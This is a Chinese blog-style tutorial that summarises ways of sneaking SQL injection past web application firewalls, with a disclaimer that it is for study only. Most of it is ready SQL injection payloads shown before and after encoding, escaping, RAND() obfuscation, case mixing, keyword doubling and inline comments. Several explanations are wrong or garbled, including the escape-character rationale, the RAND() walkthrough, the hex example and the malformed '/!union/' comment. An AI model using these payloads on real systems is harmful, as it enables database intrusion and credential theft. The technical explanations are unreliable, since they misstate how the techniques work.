提示:本文将会对sql注入常见的手动绕过WAF测试手段进行总结。值得注意的是,目前各大商用WAF(包括网站安全狗)对于sql注入的防御相对比较完善与严格,笔者在汇总这些方式时,分别尝试在部署了最新版网站安全狗或宝塔的靶场构造Payload来绕过,都失败了…希望有大佬能分享更实时的sql注入绕过方式让我们学习。
声明
本文总结的绕waf方式仅仅只用于学习网络安全学科,不可以用于非法网络攻击破坏!守护网络安全,人人有责!
一、sql注入绕waf是什么?
SQL注入是指黑客通过在输入的数据中注入恶意的SQL语句来实现绕过应用程序的身份验证和安全措施,直接对数据库进行攻击的一种方式。
而WAF(Web应用程序防火墙)则是一种防御SQL注入攻击的常用措施,它可以在应用程序和数据库之间拦截恶意SQL语句,并阻止攻击者绕过应用程序的身份验证。
然而,有些攻击者会利用一些技巧来绕过WAF的防御措施,这也被称为SQL注入绕WAF攻击。
二、sql注入绕waf姿势总结
1.编码伪装
编码绕过的原理是,攻击者在注入时采用了一些特殊的字符编码方式,从而绕过WAF的检测过程。这种编码绕过的思路就是利用特殊的字符编码方式,将恶意SQL语句转化为WAF规则无法匹配的形式。伪装编码又分为以下几种:
(1)URL编码:
示例:
没有伪装前的payload:
SELECT * FROM users WHERE username = 'admin' or 1 = 1;--' AND password = '123456'
URL编码伪装后的payload:
SELECT%20*%20FROM%20users%20WHERE%20username%20%3D%20%27admin%27%20or%201%20%3D%201%3B--%27%20AND%20password%20%3D%20%27123456%27
(2)Unicode编码:
没有伪装前的payload:
SELECT * FROM users WHERE username = 'admin' OR 1=1 AND password = '123456'
伪装后的payload:
SELECT+*+FROM+users+WHERE+username+=+'%u0061dmin'+OR+1=1%23+AND+password+=+'123456'
(3)十六进制编码:
伪装前payload:
' OR 1=1 --
伪装后payload:
27%20%4F%52%201%3D%31%20%2D%2D
【常用】(4)二次编码:
(所举示例来源于:易哲水的博客)
伪装前payload:
-1 union select 1,2,3,4#
第一次编码后的payload:
%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%23
第二次编码后的payload:
%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33
2.转义字符伪装
伪装前
'UNION SELECT username, password FROM users --
伪装后
\' UNION SELECT username, password FROM users --
在上述示例中,攻击者在原始payload中使用了单引号,在单引号前面加上了反斜杠【 \ 】,形成了转义字符 【\ ’ 】。但在程序中,反斜杠本身也是一个转义字符。我们通过将反斜杠和单引号组合使用,就可以在SQL语句中实现一个“接近”的单引号字符,而不是一个完整的单引号字符。这样,攻击者就成功地绕过了对单引号的过滤和校验。
3.随机数混淆
伪装前payload:
UNION SELECT username, password FROM users WHERE id=1
伪装后payload:
' UNION SELECT username, password
FROM users WHERE id=1 AND 1=(SELECT
RAND() < 0.5) --
在这个Payload中,攻击者使用了RAND()函数来生成一个随机数,并将它与0.5进行比较。因为RAND()函数可以返回0到1之间的任意数值,所以此处的比较操作的结果是随机的:有50%的几率生成的随机数小于0.5,50%的几率大于等于0.5。当生成的随机数小于0.5时,Payload会变成:
UNION SELECT username, password FROM users WHERE id=1 AND 1=1
当生成的随机数大于等于0.5时,Payload会变成:
UNION SELECT username, password FROM users WHERE id=1 AND 1=0
这两种情况对应了恶意代码执行成功和失败的情况。同时,攻击者还使用了–注释符号来消除掉多余的Payload,使得恶意代码更加难以被检测到。
采用随机数混淆的策略可以让Payload在每次注入时都不同,从而增加了WAF检测的难度。同时,由于随机数的不可预测性,攻击者可以借助随机的结果来判断注入是否成功,而WAF却无法识别这一点。
4.大小写伪装
这个比较简单了,就是通过大小写混合来伪装,比如:UnIon SeleCt
5.双写伪装
如:UNIunionON SELselectECT 原理也很简单:waf将其识别为普通字符而逃过过滤,但是应用程序按照union select来处理。
6.内联注释伪装
内联注释SQL注入的原理是在注入语句中嵌入内联注释,将恶意SQL代码隐藏在注释中,使之不会被防火墙检测到。例如,攻击者可以在注入语句中夹杂内联注释符号“/* */”,来进行伪装,使应用程序误解为注释掉的一部分代码,而实际上是执行了注入的恶意代码。
如:
’ /!union/ select
总结
针对sql注入攻击的绕过一般是在数据库层面的绕过,需要指出的是,针对
不同的数据库管理系统,其特性不同,绕过方式也存在差异。绕过的核心思路就是通过伪装混淆,逃过waf的过滤规则,但是又能在应用层顺利执行。
sql注入绕过的关键是灵活构造,多次尝试,不过现在waf都很厉害了,sql注入的测试难度都不小。